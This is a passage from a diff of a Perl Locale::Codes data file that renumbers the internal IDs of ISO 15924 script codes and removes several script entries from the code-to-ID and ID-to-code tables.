       q(Goth) => [
-         q(0047),
+         q(0043),
          q(0),
          ],
       q(Gran) => [
-         q(0048),
+         q(0044),
          q(0),
          ],
       q(Grek) => [
-         q(0049),
+         q(0045),
          q(0),
          ],
       q(Gujr) => [
-         q(0050),
+         q(0046),
          q(0),
          ],
       q(Guru) => [
-         q(0051),
+         q(0047),
          q(0),
          ],
       q(Hanb) => [
-         q(0052),
+         q(0048),
          q(0),
          ],
       q(Hang) => [
-         q(0053),
+         q(0049),
          q(1),
          ],
       q(Hani) => [
-         q(0054),
+         q(0050),
          q(1),
          ],
       q(Hano) => [
-         q(0055),
+         q(0051),
          q(1),
          ],
       q(Hans) => [
-         q(0056),
+         q(0052),
          q(0),
          ],
       q(Hant) => [
-         q(0057),
+         q(0053),
          q(0),
          ],
       q(Hatr) => [
-         q(0058),
+         q(0054),
          q(0),
          ],
       q(Hebr) => [
-         q(0059),
+         q(0055),
          q(0),
          ],
       q(Hira) => [
-         q(0060),
+         q(0056),
          q(0),
          ],
       q(Hluw) => [
-         q(0061),
+         q(0057),
          q(1),
          ],
       q(Hmng) => [
-         q(0062),
-         q(0),
-         ],
-      q(Hmnp) => [
-         q(0063),
+         q(0058),
          q(0),
          ],
       q(Hrkt) => [
-         q(0064),
+         q(0059),
          q(0),
          ],
       q(Hung) => [
-         q(0065),
+         q(0060),
          q(1),
          ],
       q(Inds) => [
-         q(0066),
+         q(0061),
          q(1),
          ],
       q(Ital) => [
-         q(0067),
+         q(0062),
          q(0),
          ],
       q(Jamo) => [
-         q(0068),
+         q(0063),
          q(0),
          ],
       q(Java) => [
-         q(0069),
+         q(0064),
          q(0),
          ],
       q(Jpan) => [
-         q(0070),
+         q(0065),
          q(0),
          ],
       q(Jurc) => [
-         q(0071),
+         q(0066),
          q(0),
          ],
       q(Kali) => [
-         q(0072),
+         q(0067),
          q(0),
          ],
       q(Kana) => [
-         q(0073),
+         q(0068),
          q(0),
          ],
       q(Khar) => [
-         q(0074),
+         q(0069),
          q(0),
          ],
       q(Khmr) => [
-         q(0075),
+         q(0070),
          q(0),
          ],
       q(Khoj) => [
-         q(0076),
+         q(0071),
          q(0),
          ],
       q(Kitl) => [
-         q(0077),
+         q(0072),
          q(0),
          ],
       q(Kits) => [
-         q(0078),
+         q(0073),
          q(0),
          ],
       q(Knda) => [
-         q(0079),
+         q(0074),
          q(0),
          ],
       q(Kore) => [
-         q(0080),
+         q(0075),
          q(0),
          ],
       q(Kpel) => [
-         q(0081),
+         q(0076),
          q(0),
          ],
       q(Kthi) => [
-         q(0082),
+         q(0077),
          q(0),
          ],
       q(Lana) => [
-         q(0083),
+         q(0078),
          q(1),
          ],
       q(Laoo) => [
-         q(0084),
+         q(0079),
          q(0),
          ],
       q(Latf) => [
-         q(0085),
+         q(0080),
          q(0),
          ],
       q(Latg) => [
-         q(0086),
+         q(0081),
          q(0),
          ],
       q(Latn) => [
-         q(0087),
+         q(0082),
          q(0),
          ],
       q(Leke) => [
-         q(0088),
+         q(0083),
          q(0),
          ],
       q(Lepc) => [
-         q(0089),
+         q(0084),
          q(1),
          ],
       q(Limb) => [
-         q(0090),
+         q(0085),
          q(0),
          ],
       q(Lina) => [
-         q(0091),
+         q(0086),
          q(0),
          ],
       q(Linb) => [
-         q(0092),
+         q(0087),
          q(0),
          ],
       q(Lisu) => [
-         q(0093),
+         q(0088),
          q(1),
          ],
       q(Loma) => [
-         q(0094),
+         q(0089),
          q(0),
          ],
       q(Lyci) => [
-         q(0095),
+         q(0090),
          q(0),
          ],
       q(Lydi) => [
-         q(0096),
+         q(0091),
          q(0),
          ],
       q(Mahj) => [
-         q(0097),
-         q(0),
-         ],
-      q(Maka) => [
-         q(0098),
+         q(0092),
          q(0),
          ],
       q(Mand) => [
-         q(0099),
+         q(0093),
          q(1),
          ],
       q(Mani) => [
-         q(0100),
+         q(0094),
          q(0),
          ],
       q(Marc) => [
-         q(0101),
+         q(0095),
          q(0),
          ],
       q(Maya) => [
-         q(0102),
+         q(0096),
          q(0),
          ],
-      q(Medf) => [
-         q(0103),
-         q(1),
-         ],
       q(Mend) => [
-         q(0104),
+         q(0097),
          q(0),
          ],
       q(Merc) => [
-         q(0105),
+         q(0098),
          q(0),
          ],
       q(Mero) => [
-         q(0106),
+         q(0099),
          q(0),
          ],
       q(Mlym) => [
-         q(0107),
+         q(0100),
          q(0),
          ],
       q(Modi) => [
-         q(0108),
+         q(0101),
          q(1),
          ],
       q(Mong) => [
-         q(0109),
+         q(0102),
          q(0),
          ],
       q(Moon) => [
-         q(0110),
+         q(0103),
          q(1),
          ],
       q(Mroo) => [
-         q(0111),
+         q(0104),
          q(1),
          ],
       q(Mtei) => [
-         q(0112),
+         q(0105),
          q(1),
          ],
       q(Mult) => [
-         q(0113),
+         q(0106),
          q(0),
          ],
       q(Mymr) => [
-         q(0114),
+         q(0107),
          q(1),
          ],
       q(Narb) => [
-         q(0115),
+         q(0108),
          q(1),
          ],
       q(Nbat) => [
-         q(0116),
+         q(0109),
          q(0),
          ],
       q(Newa) => [
-         q(0117),
-         q(1),
-         ],
-      q(Nkdb) => [
-         q(0118),
+         q(0110),
          q(1),
          ],
       q(Nkgb) => [
-         q(0119),
+         q(0111),
          q(1),
          ],
       q(Nkoo) => [
-         q(0120),
+         q(0112),
          q(0),
          ],
       q(Nshu) => [
-         q(0121),
+         q(0113),
          q(0),
          ],
       q(Ogam) => [
-         q(0122),
+         q(0114),
          q(0),
          ],
       q(Olck) => [
-         q(0123),
+         q(0115),
          q(1),
          ],
       q(Orkh) => [
-         q(0124),
+         q(0116),
          q(1),
          ],
       q(Orya) => [
-         q(0125),
-         q(1),
+         q(0117),
+         q(0),
          ],
       q(Osge) => [
-         q(0126),
+         q(0118),
          q(0),
          ],
       q(Osma) => [
-         q(0127),
+         q(0119),
          q(0),
          ],
       q(Palm) => [
-         q(0128),
+         q(0120),
          q(0),
          ],
       q(Pauc) => [
-         q(0129),
+         q(0121),
          q(0),
          ],
       q(Perm) => [
-         q(0130),
+         q(0122),
          q(0),
          ],
       q(Phag) => [
-         q(0131),
+         q(0123),
          q(0),
          ],
       q(Phli) => [
-         q(0132),
+         q(0124),
          q(0),
          ],
       q(Phlp) => [
-         q(0133),
+         q(0125),
          q(0),
          ],
       q(Phlv) => [
-         q(0134),
+         q(0126),
          q(0),
          ],
       q(Phnx) => [
-         q(0135),
+         q(0127),
          q(0),
          ],
       q(Piqd) => [
-         q(0137),
+         q(0129),
          q(0),
          ],
       q(Plrd) => [
-         q(0136),
+         q(0128),
          q(1),
          ],
       q(Prti) => [
-         q(0138),
+         q(0130),
          q(0),
          ],
       q(Qaaa) => [
-         q(0139),
+         q(0131),
          q(0),
          ],
       q(Qabx) => [
-         q(0140),
+         q(0132),
          q(0),
          ],
       q(Rjng) => [
-         q(0141),
+         q(0133),
          q(1),
          ],
-      q(Rohg) => [
-         q(0142),
-         q(0),
-         ],
       q(Roro) => [
-         q(0143),
+         q(0134),
          q(0),
          ],
       q(Runr) => [
-         q(0144),
+         q(0135),
          q(0),
          ],
       q(Samr) => [
-         q(0145),
+         q(0136),
          q(0),
          ],
       q(Sara) => [
-         q(0146),
+         q(0137),
          q(0),
          ],
       q(Sarb) => [
-         q(0147),
+         q(0138),
          q(0),
          ],
       q(Saur) => [
-         q(0148),
+         q(0139),
          q(0),
          ],
       q(Sgnw) => [
-         q(0149),
+         q(0140),
          q(0),
          ],
       q(Shaw) => [
-         q(0150),
+         q(0141),
          q(1),
          ],
       q(Shrd) => [
-         q(0151),
+         q(0142),
          q(1),
          ],
-      q(Shui) => [
-         q(0152),
-         q(0),
-         ],
       q(Sidd) => [
-         q(0153),
+         q(0143),
          q(1),
          ],
       q(Sind) => [
-         q(0154),
+         q(0144),
          q(1),
          ],
       q(Sinh) => [
-         q(0155),
-         q(0),
-         ],
-      q(Sogd) => [
-         q(0156),
-         q(0),
-         ],
-      q(Sogo) => [
-         q(0157),
+         q(0145),
          q(0),
          ],
       q(Sora) => [
-         q(0158),
-         q(0),
-         ],
-      q(Soyo) => [
-         q(0159),
+         q(0146),
          q(0),
          ],
       q(Sund) => [
-         q(0160),
+         q(0147),
          q(0),
          ],
       q(Sylo) => [
-         q(0161),
+         q(0148),
          q(0),
          ],
       q(Syrc) => [
-         q(0162),
+         q(0149),
          q(0),
          ],
       q(Syre) => [
-         q(0163),
+         q(0150),
          q(0),
          ],
       q(Syrj) => [
-         q(0164),
+         q(0151),
          q(0),
          ],
       q(Syrn) => [
-         q(0165),
+         q(0152),
          q(0),
          ],
       q(Tagb) => [
-         q(0166),
+         q(0153),
          q(0),
          ],
       q(Takr) => [
-         q(0167),
+         q(0154),
          q(1),
          ],
       q(Tale) => [
-         q(0168),
+         q(0155),
          q(0),
          ],
       q(Talu) => [
-         q(0169),
+         q(0156),
          q(0),
          ],
       q(Taml) => [
-         q(0170),
+         q(0157),
          q(0),
          ],
       q(Tang) => [
-         q(0171),
+         q(0158),
          q(0),
          ],
       q(Tavt) => [
-         q(0172),
+         q(0159),
          q(0),
          ],
       q(Telu) => [
-         q(0173),
+         q(0160),
          q(0),
          ],
       q(Teng) => [
-         q(0174),
+         q(0161),
          q(0),
          ],
       q(Tfng) => [
-         q(0175),
+         q(0162),
          q(1),
          ],
       q(Tglg) => [
-         q(0176),
+         q(0163),
          q(1),
          ],
       q(Thaa) => [
-         q(0177),
+         q(0164),
          q(0),
          ],
       q(Thai) => [
-         q(0178),
+         q(0165),
          q(0),
          ],
       q(Tibt) => [
-         q(0179),
+         q(0166),
          q(0),
          ],
       q(Tirh) => [
-         q(0180),
+         q(0167),
          q(0),
          ],
       q(Ugar) => [
-         q(0181),
+         q(0168),
          q(0),
          ],
       q(Vaii) => [
-         q(0182),
+         q(0169),
          q(0),
          ],
       q(Visp) => [
-         q(0183),
+         q(0170),
          q(0),
          ],
       q(Wara) => [
-         q(0184),
+         q(0171),
          q(1),
          ],
-      q(Wcho) => [
-         q(0185),
-         q(0),
-         ],
       q(Wole) => [
-         q(0186),
+         q(0172),
          q(0),
          ],
       q(Xpeo) => [
-         q(0187),
+         q(0173),
          q(0),
          ],
       q(Xsux) => [
-         q(0188),
+         q(0174),
          q(1),
          ],
       q(Yiii) => [
-         q(0189),
+         q(0175),
          q(0),
          ],
-      q(Zanb) => [
-         q(0190),
-         q(1),
-         ],
       q(Zinh) => [
-         q(0191),
+         q(0176),
          q(0),
          ],
       q(Zmth) => [
-         q(0192),
+         q(0177),
          q(0),
          ],
       q(Zsye) => [
-         q(0193),
+         q(0178),
          q(0),
          ],
       q(Zsym) => [
-         q(0194),
+         q(0179),
          q(0),
          ],
       },
    q(num) => {
       q(020) => [
-         q(0188),
+         q(0174),
          q(0),
          ],
       q(030) => [
-         q(0187),
+         q(0173),
          q(0),
          ],
       q(040) => [
-         q(0181),
+         q(0168),
          q(0),
          ],
       q(050) => [
-         q(0039),
+         q(0037),
          q(0),
          ],
       q(060) => [
-         q(0038),
+         q(0036),
          q(0),
          ],
       q(070) => [
-         q(0037),
+         q(0035),
          q(0),
          ],
       q(080) => [
-         q(0061),
-         q(0),
-         ],
-      q(085) => [
-         q(0118),
+         q(0057),
          q(0),
          ],
       q(090) => [
-         q(0102),
+         q(0096),
          q(0),
          ],
       q(095) => [
-         q(0149),
+         q(0140),
          q(0),
          ],
       q(100) => [
-         q(0106),
+         q(0099),
          q(0),
          ],
       q(101) => [
-         q(0105),
+         q(0098),
          q(0),
          ],
       q(105) => [
-         q(0147),
+         q(0138),
          q(0),
          ],
       q(106) => [
-         q(0115),
+         q(0108),
          q(0),
          ],
       q(115) => [
-         q(0135),
+         q(0127),
          q(0),
          ],
       q(116) => [
-         q(0096),
+         q(0091),
          q(0),
          ],
       q(120) => [
-         q(0175),
+         q(0162),
          q(0),
          ],
       q(123) => [
-         q(0145),
+         q(0136),
          q(0),
          ],
       q(124) => [
@@ -2706,31 +2477,31 @@ $Locale::Codes::Data{'script'}{'code2id'} = {
          q(0),
          ],
       q(125) => [
-         q(0059),
+         q(0055),
          q(0),
          ],
       q(126) => [
-         q(0128),
+         q(0120),
          q(0),
          ],
       q(127) => [
-         q(0058),
+         q(0054),
          q(0),
          ],
       q(130) => [
-         q(0138),
+         q(0130),
          q(0),
          ],
       q(131) => [
-         q(0132),
+         q(0124),
          q(0),
          ],
       q(132) => [
-         q(0133),
+         q(0125),
          q(0),
          ],
       q(133) => [
-         q(0134),
+         q(0126),
          q(0),
          ],
       q(134) => [
@@ -2738,43 +2509,35 @@ $Locale::Codes::Data{'script'}{'code2id'} = {
          q(0),
          ],
       q(135) => [
-         q(0162),
+         q(0149),
          q(0),
          ],
       q(136) => [
-         q(0165),
+         q(0152),
          q(0),
          ],
       q(137) => [
-         q(0164),
+         q(0151),
          q(0),
          ],
       q(138) => [
-         q(0163),
+         q(0150),
          q(0),
          ],
       q(139) => [
-         q(0100),
+         q(0094),
          q(0),
          ],
       q(140) => [
-         q(0099),
-         q(0),
-         ],
-      q(141) => [
-         q(0156),
-         q(0),
-         ],
-      q(142) => [
-         q(0157),
+         q(0093),
          q(0),
          ],
       q(145) => [
-         q(0109),
+         q(0102),
          q(0),
          ],
       q(159) => [
-         q(0116),
+         q(0109),
          q(0),
          ],
       q(160) => [
@@ -2786,31 +2549,31 @@ $Locale::Codes::Data{'script'}{'code2id'} = {
          q(0),
          ],
       q(165) => [
-         q(0120),
+         q(0112),
          q(0),
          ],
       q(166) => [
          q(0001),
          q(0),
          ],
-      q(167) => [
-         q(0142),
-         q(0),
-         ],
       q(170) => [
-         q(0177),
+         q(0164),
          q(0),
          ],
       q(175) => [
-         q(0124),
+         q(0116),
+         q(0),
+         ],
+      q(176) => [
+         q(0060),
          q(0),
          ],
-      q(176) => [
-         q(0065),
+      q(199) => [
+         q(0104),
          q(0),
          ],
       q(200) => [
-         q(0049),
+         q(0045),
          q(0),
          ],
       q(201) => [
@@ -2818,7 +2581,7 @@ $Locale::Codes::Data{'script'}{'code2id'} = {
          q(0),
          ],
       q(202) => [
-         q(0095),
+         q(0090),
          q(0),
          ],
       q(204) => [
@@ -2826,59 +2589,59 @@ $Locale::Codes::Data{'script'}{'code2id'} = {
          q(0),
          ],
       q(206) => [
-         q(0047),
+         q(0043),
          q(0),
          ],
       q(210) => [
-         q(0067),
+         q(0062),
          q(0),
          ],
       q(211) => [
-         q(0144),
+         q(0135),
          q(0),
          ],
       q(212) => [
-         q(0122),
+         q(0114),
          q(0),
          ],
       q(215) => [
-         q(0087),
+         q(0082),
          q(0),
          ],
       q(216) => [
-         q(0086),
+         q(0081),
          q(0),
          ],
       q(217) => [
-         q(0085),
+         q(0080),
          q(0),
          ],
       q(218) => [
-         q(0110),
+         q(0103),
          q(0),
          ],
       q(219) => [
-         q(0126),
+         q(0118),
          q(0),
          ],
       q(220) => [
-         q(0031),
+         q(0030),
          q(0),
          ],
       q(221) => [
-         q(0032),
+         q(0031),
          q(0),
          ],
       q(225) => [
-         q(0044),
+         q(0042),
          q(0),
          ],
       q(226) => [
-         q(0040),
+         q(0038),
          q(0),
          ],
       q(227) => [
-         q(0130),
+         q(0122),
          q(0),
          ],
       q(230) => [
@@ -2890,15 +2653,15 @@ $Locale::Codes::Data{'script'}{'code2id'} = {
          q(0),
          ],
       q(240) => [
-         q(0043),
+         q(0041),
          q(0),
          ],
       q(241) => [
-         q(0042),
+         q(0040),
          q(0),
          ],
       q(250) => [
-         q(0035),
+         q(0033),
          q(0),
          ],
       q(259) => [
@@ -2906,47 +2669,35 @@ $Locale::Codes::Data{'script'}{'code2id'} = {
          q(0),
          ],
       q(260) => [
-         q(0127),
+         q(0119),
          q(0),
          ],
       q(261) => [
-         q(0123),
+         q(0115),
          q(0),
          ],
       q(262) => [
-         q(0184),
+         q(0171),
          q(0),
          ],
       q(263) => [
-         q(0129),
-         q(0),
-         ],
-      q(264) => [
-         q(0111),
-         q(0),
-         ],
-      q(265) => [
-         q(0103),
+         q(0121),
          q(0),
          ],
       q(280) => [
-         q(0183),
+         q(0170),
          q(0),
          ],
       q(281) => [
-         q(0150),
+         q(0141),
          q(0),
          ],
       q(282) => [
-         q(0136),
-         q(0),
-         ],
-      q(283) => [
-         q(0185),
+         q(0128),
          q(0),
          ],
       q(284) => [
-         q(0068),
+         q(0063),
          q(0),
          ],
       q(285) => [
@@ -2954,19 +2705,19 @@ $Locale::Codes::Data{'script'}{'code2id'} = {
          q(0),
          ],
       q(286) => [
-         q(0053),
+         q(0049),
          q(0),
          ],
       q(287) => [
-         q(0080),
+         q(0075),
          q(0),
          ],
       q(288) => [
-         q(0078),
+         q(0073),
          q(0),
          ],
       q(290) => [
-         q(0174),
+         q(0161),
          q(0),
          ],
       q(291) => [
@@ -2974,11 +2725,11 @@ $Locale::Codes::Data{'script'}{'code2id'} = {
          q(0),
          ],
       q(292) => [
-         q(0146),
+         q(0137),
          q(0),
          ],
       q(293) => [
-         q(0137),
+         q(0129),
          q(0),
          ],
       q(300) => [
@@ -2986,67 +2737,59 @@ $Locale::Codes::Data{'script'}{'code2id'} = {
          q(0),
          ],
       q(302) => [
-         q(0153),
+         q(0143),
          q(0),
          ],
       q(305) => [
-         q(0074),
+         q(0069),
          q(0),
          ],
       q(310) => [
-         q(0051),
-         q(0),
-         ],
-      q(312) => [
-         q(0045),
-         q(0),
-         ],
-      q(313) => [
-         q(0046),
+         q(0047),
          q(0),
          ],
       q(314) => [
-         q(0097),
+         q(0092),
          q(0),
          ],
       q(315) => [
-         q(0033),
+         q(0032),
          q(0),
          ],
       q(316) => [
-         q(0161),
+         q(0148),
          q(0),
          ],
       q(317) => [
-         q(0082),
+         q(0077),
          q(0),
          ],
       q(318) => [
-         q(0154),
+         q(0144),
          q(0),
          ],
       q(319) => [
-         q(0151),
+         q(0142),
          q(0),
          ],
       q(320) => [
-         q(0050),
+         q(0046),
          q(0),
          ],
       q(321) => [
-         q(0167),
+         q(0154),
          q(0),
          ],
       q(322) => [
-         q(0076),
+         q(0071),
          q(0),
          ],
       q(323) => [
-         q(0113),
+         q(0106),
          q(0),
          ],
       q(324) => [
-         q(0108),
+         q(0101),
          q(0),
          ],
       q(325) => [
@@ -3054,35 +2797,27 @@ $Locale::Codes::Data{'script'}{'code2id'} = {
          q(0),
          ],
       q(326) => [
-         q(0180),
+         q(0167),
          q(0),
          ],
       q(327) => [
-         q(0125),
-         q(0),
-         ],
-      q(328) => [
-         q(0034),
-         q(0),
-         ],
-      q(329) => [
-         q(0159),
+         q(0117),
          q(0),
          ],
       q(330) => [
-         q(0179),
+         q(0166),
          q(0),
          ],
       q(331) => [
-         q(0131),
+         q(0123),
          q(0),
          ],
       q(332) => [
-         q(0101),
+         q(0095),
          q(0),
          ],
       q(333) => [
-         q(0117),
+         q(0110),
          q(0),
          ],
       q(334) => [
@@ -3090,51 +2825,47 @@ $Locale::Codes::Data{'script'}{'code2id'} = {
          q(0),
          ],
       q(335) => [
-         q(0089),
+         q(0084),
          q(0),
          ],
       q(336) => [
-         q(0090),
+         q(0085),
          q(0),
          ],
       q(337) => [
-         q(0112),
+         q(0105),
          q(0),
          ],
       q(338) => [
          q(0004),
          q(0),
          ],
-      q(339) => [
-         q(0190),
-         q(0),
-         ],
       q(340) => [
-         q(0173),
+         q(0160),
          q(0),
          ],
       q(343) => [
-         q(0048),
+         q(0044),
          q(0),
          ],
       q(344) => [
-         q(0148),
+         q(0139),
          q(0),
          ],
       q(345) => [
-         q(0079),
+         q(0074),
          q(0),
          ],
       q(346) => [
-         q(0170),
+         q(0157),
          q(0),
          ],
       q(347) => [
-         q(0107),
+         q(0100),
          q(0),
          ],
       q(348) => [
-         q(0155),
+         q(0145),
          q(0),
          ],
       q(349) => [
@@ -3142,35 +2873,35 @@ $Locale::Codes::Data{'script'}{'code2id'} = {
          q(0),
          ],
       q(350) => [
-         q(0114),
+         q(0107),
          q(0),
          ],
       q(351) => [
-         q(0083),
+         q(0078),
          q(0),
          ],
       q(352) => [
-         q(0178),
+         q(0165),
          q(0),
          ],
       q(353) => [
-         q(0168),
+         q(0155),
          q(0),
          ],
       q(354) => [
-         q(0169),
+         q(0156),
          q(0),
          ],
       q(355) => [
-         q(0075),
+         q(0070),
          q(0),
          ],
       q(356) => [
-         q(0084),
+         q(0079),
          q(0),
          ],
       q(357) => [
-         q(0072),
+         q(0067),
          q(0),
          ],
       q(358) => [
@@ -3178,7 +2909,7 @@ $Locale::Codes::Data{'script'}{'code2id'} = {
          q(0),
          ],
       q(359) => [
-         q(0172),
+         q(0159),
          q(0),
          ],
       q(360) => [
@@ -3186,39 +2917,35 @@ $Locale::Codes::Data{'script'}{'code2id'} = {
          q(0),
          ],
       q(361) => [
-         q(0069),
+         q(0064),
          q(0),
          ],
       q(362) => [
-         q(0160),
+         q(0147),
          q(0),
          ],
       q(363) => [
-         q(0141),
+         q(0133),
          q(0),
          ],
       q(364) => [
-         q(0088),
+         q(0083),
          q(0),
          ],
       q(365) => [
          q(0013),
          q(0),
          ],
-      q(366) => [
-         q(0098),
-         q(0),
-         ],
       q(367) => [
          q(0020),
          q(0),
          ],
       q(370) => [
-         q(0176),
+         q(0163),
          q(0),
          ],
       q(371) => [
-         q(0055),
+         q(0051),
          q(0),
          ],
       q(372) => [
@@ -3226,55 +2953,51 @@ $Locale::Codes::Data{'script'}{'code2id'} = {
          q(0),
          ],
       q(373) => [
-         q(0166),
+         q(0153),
          q(0),
          ],
       q(398) => [
-         q(0158),
+         q(0146),
          q(0),
          ],
       q(399) => [
-         q(0093),
+         q(0088),
          q(0),
          ],
       q(400) => [
-         q(0091),
+         q(0086),
          q(0),
          ],
       q(401) => [
-         q(0092),
-         q(0),
-         ],
-      q(402) => [
-         q(0029),
+         q(0087),
          q(0),
          ],
       q(403) => [
-         q(0030),
+         q(0029),
          q(0),
          ],
       q(410) => [
-         q(0060),
+         q(0056),
          q(0),
          ],
       q(411) => [
-         q(0073),
+         q(0068),
          q(0),
          ],
       q(412) => [
-         q(0064),
+         q(0059),
          q(0),
          ],
       q(413) => [
-         q(0070),
+         q(0065),
          q(0),
          ],
       q(420) => [
-         q(0119),
+         q(0111),
          q(0),
          ],
       q(430) => [
-         q(0041),
+         q(0039),
          q(0),
          ],
       q(435) => [
@@ -3282,15 +3005,15 @@ $Locale::Codes::Data{'script'}{'code2id'} = {
          q(0),
          ],
       q(436) => [
-         q(0081),
+         q(0076),
          q(0),
          ],
       q(437) => [
-         q(0094),
+         q(0089),
          q(0),
          ],
       q(438) => [
-         q(0104),
+         q(0097),
          q(0),
          ],
       q(439) => [
@@ -3306,59 +3029,51 @@ $Locale::Codes::Data{'script'}{'code2id'} = {
          q(0),
          ],
       q(450) => [
-         q(0062),
-         q(0),
-         ],
-      q(451) => [
-         q(0063),
+         q(0058),
          q(0),
          ],
       q(460) => [
-         q(0189),
+         q(0175),
          q(0),
          ],
       q(470) => [
-         q(0182),
+         q(0169),
          q(0),
          ],
       q(480) => [
-         q(0186),
+         q(0172),
          q(0),
          ],
       q(499) => [
-         q(0121),
+         q(0113),
          q(0),
          ],
       q(500) => [
-         q(0054),
+         q(0050),
          q(0),
          ],
       q(501) => [
-         q(0056),
+         q(0052),
          q(0),
          ],
       q(502) => [
-         q(0057),
+         q(0053),
          q(0),
          ],
       q(503) => [
-         q(0052),
+         q(0048),
          q(0),
          ],
       q(505) => [
-         q(0077),
+         q(0072),
          q(0),
          ],
       q(510) => [
-         q(0071),
+         q(0066),
          q(0),
          ],
       q(520) => [
-         q(0171),
-         q(0),
-         ],
-      q(530) => [
-         q(0152),
+         q(0158),
          q(0),
          ],
       q(550) => [
@@ -3370,39 +3085,39 @@ $Locale::Codes::Data{'script'}{'code2id'} = {
          q(0),
          ],
       q(610) => [
-         q(0066),
+         q(0061),
          q(0),
          ],
       q(620) => [
-         q(0143),
+         q(0134),
          q(0),
          ],
       q(755) => [
-         q(0036),
+         q(0034),
          q(0),
          ],
       q(900) => [
-         q(0139),
+         q(0131),
          q(0),
          ],
       q(949) => [
-         q(0140),
+         q(0132),
          q(0),
          ],
       q(993) => [
-         q(0193),
+         q(0178),
          q(0),
          ],
       q(994) => [
-         q(0191),
+         q(0176),
          q(0),
          ],
       q(995) => [
-         q(0192),
+         q(0177),
          q(0),
          ],
       q(996) => [
-         q(0194),
+         q(0179),
          q(0),
          ],
       },
@@ -3438,172 +3153,157 @@ $Locale::Codes::Data{'script'}{'id2code'} = {
       q(0026) => q(Cher),
       q(0027) => q(Cirt),
       q(0028) => q(Copt),
-      q(0029) => q(Cpmn),
-      q(0030) => q(Cprt),
-      q(0031) => q(Cyrl),
-      q(0032) => q(Cyrs),
-      q(0033) => q(Deva),
-      q(0034) => q(Dogr),
-      q(0035) => q(Dsrt),
-      q(0036) => q(Dupl),
-      q(0037) => q(Egyd),
-      q(0038) => q(Egyh),
-      q(0039) => q(Egyp),
-      q(0040) => q(Elba),
-      q(0041) => q(Ethi),
-      q(0042) => q(Geok),
-      q(0043) => q(Geor),
-      q(0044) => q(Glag),
-      q(0045) => q(Gong),
-      q(0046) => q(Gonm),
-      q(0047) => q(Goth),
-      q(0048) => q(Gran),
-      q(0049) => q(Grek),
-      q(0050) => q(Gujr),
-      q(0051) => q(Guru),
-      q(0052) => q(Hanb),
-      q(0053) => q(Hang),
-      q(0054) => q(Hani),
-      q(0055) => q(Hano),
-      q(0056) => q(Hans),
-      q(0057) => q(Hant),
-      q(0058) => q(Hatr),
-      q(0059) => q(Hebr),
-      q(0060) => q(Hira),
-      q(0061) => q(Hluw),
-      q(0062) => q(Hmng),
-      q(0063) => q(Hmnp),
-      q(0064) => q(Hrkt),
-      q(0065) => q(Hung),
-      q(0066) => q(Inds),
-      q(0067) => q(Ital),
-      q(0068) => q(Jamo),
-      q(0069) => q(Java),
-      q(0070) => q(Jpan),
-      q(0071) => q(Jurc),
-      q(0072) => q(Kali),
-      q(0073) => q(Kana),
-      q(0074) => q(Khar),
-      q(0075) => q(Khmr),
-      q(0076) => q(Khoj),
-      q(0077) => q(Kitl),
-      q(0078) => q(Kits),
-      q(0079) => q(Knda),
-      q(0080) => q(Kore),
-      q(0081) => q(Kpel),
-      q(0082) => q(Kthi),
-      q(0083) => q(Lana),
-      q(0084) => q(Laoo),
-      q(0085) => q(Latf),
-      q(0086) => q(Latg),
-      q(0087) => q(Latn),
-      q(0088) => q(Leke),
-      q(0089) => q(Lepc),
-      q(0090) => q(Limb),
-      q(0091) => q(Lina),
-      q(0092) => q(Linb),
-      q(0093) => q(Lisu),
-      q(0094) => q(Loma),
-      q(0095) => q(Lyci),
-      q(0096) => q(Lydi),
-      q(0097) => q(Mahj),
-      q(0098) => q(Maka),
-      q(0099) => q(Mand),
-      q(0100) => q(Mani),
-      q(0101) => q(Marc),
-      q(0102) => q(Maya),
-      q(0103) => q(Medf),
-      q(0104) => q(Mend),
-      q(0105) => q(Merc),
-      q(0106) => q(Mero),
-      q(0107) => q(Mlym),
-      q(0108) => q(Modi),
-      q(0109) => q(Mong),
-      q(0110) => q(Moon),
-      q(0111) => q(Mroo),
-      q(0112) => q(Mtei),
-      q(0113) => q(Mult),
-      q(0114) => q(Mymr),
-      q(0115) => q(Narb),
-      q(0116) => q(Nbat),
-      q(0117) => q(Newa),
-      q(0118) => q(Nkdb),
-      q(0119) => q(Nkgb),
-      q(0120) => q(Nkoo),
-      q(0121) => q(Nshu),
-      q(0122) => q(Ogam),
-      q(0123) => q(Olck),
-      q(0124) => q(Orkh),
-      q(0125) => q(Orya),
-      q(0126) => q(Osge),
-      q(0127) => q(Osma),
-      q(0128) => q(Palm),
-      q(0129) => q(Pauc),
-      q(0130) => q(Perm),
-      q(0131) => q(Phag),
-      q(0132) => q(Phli),
-      q(0133) => q(Phlp),
-      q(0134) => q(Phlv),
-      q(0135) => q(Phnx),
-      q(0136) => q(Plrd),
-      q(0137) => q(Piqd),
-      q(0138) => q(Prti),
-      q(0139) => q(Qaaa),
-      q(0140) => q(Qabx),
-      q(0141) => q(Rjng),
-      q(0142) => q(Rohg),
-      q(0143) => q(Roro),
-      q(0144) => q(Runr),
-      q(0145) => q(Samr),
-      q(0146) => q(Sara),
-      q(0147) => q(Sarb),
-      q(0148) => q(Saur),
-      q(0149) => q(Sgnw),
-      q(0150) => q(Shaw),
-      q(0151) => q(Shrd),
-      q(0152) => q(Shui),
-      q(0153) => q(Sidd),
-      q(0154) => q(Sind),
-      q(0155) => q(Sinh),
-      q(0156) => q(Sogd),
-      q(0157) => q(Sogo),
-      q(0158) => q(Sora),
-      q(0159) => q(Soyo),
-      q(0160) => q(Sund),
-      q(0161) => q(Sylo),
-      q(0162) => q(Syrc),
-      q(0163) => q(Syre),
-      q(0164) => q(Syrj),
-      q(0165) => q(Syrn),
-      q(0166) => q(Tagb),
-      q(0167) => q(Takr),
-      q(0168) => q(Tale),
-      q(0169) => q(Talu),
-      q(0170) => q(Taml),
-      q(0171) => q(Tang),
-      q(0172) => q(Tavt),
-      q(0173) => q(Telu),
-      q(0174) => q(Teng),
-      q(0175) => q(Tfng),
-      q(0176) => q(Tglg),
-      q(0177) => q(Thaa),
-      q(0178) => q(Thai),
-      q(0179) => q(Tibt),
-      q(0180) => q(Tirh),
-      q(0181) => q(Ugar),
-      q(0182) => q(Vaii),
-      q(0183) => q(Visp),
-      q(0184) => q(Wara),
-      q(0185) => q(Wcho),
-      q(0186) => q(Wole),
-      q(0187) => q(Xpeo),
-      q(0188) => q(Xsux),
-      q(0189) => q(Yiii),
-      q(0190) => q(Zanb),
-      q(0191) => q(Zinh),
-      q(0192) => q(Zmth),
-      q(0193) => q(Zsye),
-      q(0194) => q(Zsym),
+      q(0029) => q(Cprt),
+      q(0030) => q(Cyrl),
+      q(0031) => q(Cyrs),
+      q(0032) => q(Deva),
